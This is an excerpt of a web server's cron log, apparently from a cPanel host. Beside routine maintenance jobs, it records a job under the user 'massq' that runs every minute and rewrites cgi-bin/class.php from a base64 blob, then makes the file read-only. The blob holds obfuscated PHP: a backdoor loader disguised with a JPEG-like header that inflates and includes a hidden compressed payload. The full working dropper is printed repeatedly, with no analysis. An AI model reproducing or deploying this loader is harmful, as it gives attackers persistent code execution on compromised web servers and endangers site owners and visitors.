Nov 13 10:50:01 server CROND[20171]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:51:01 server CROND[21082]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:52:01 server CROND[21937]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:53:01 server CROND[22675]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:54:01 server CROND[23354]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:55:01 server CROND[24218]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:55:01 server CROND[24219]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 10:55:01 server CROND[24220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:56:01 server CROND[25125]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:57:01 server CROND[25706]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:57:01 server CROND[25707]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 10:58:01 server CROND[26693]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:59:01 server CROND[27543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:00:01 server CROND[27907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:00:01 server CROND[27908]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 11:00:01 server CROND[27909]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:00:01 server CROND[27911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:01:01 server CROND[28831]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:01:01 server CROND[28832]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 11:01:01 server run-parts(/etc/cron.hourly)[28832]: starting 0anacron
Nov 13 11:01:01 server run-parts(/etc/cron.hourly)[28844]: finished 0anacron
Nov 13 11:02:01 server CROND[29367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
